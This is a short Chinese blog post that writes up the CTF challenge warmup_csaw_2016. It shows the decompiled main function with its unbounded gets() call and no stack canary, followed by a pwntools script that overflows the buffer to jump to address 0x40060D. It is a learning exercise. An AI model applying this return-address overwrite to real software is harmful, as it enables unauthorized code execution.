warmup_csaw_2016

题目链接:warmup_csaw_2016

下载附件后,使用 IDA 反编译,定位到 main 函数,如下。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}

可以发现,存在 gets 函数,并且不存在 Canary。

留意到存在函数 "sub_40060D",如下。

因此,直接栈劫持到该函数即可。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    sl(0x48 * b'a' + p64(0x000000000040060D))
    irt()

pwn()
posted @ 2024-11-11 22:43  imtaieee  阅读(35)  评论(0)    收藏  举报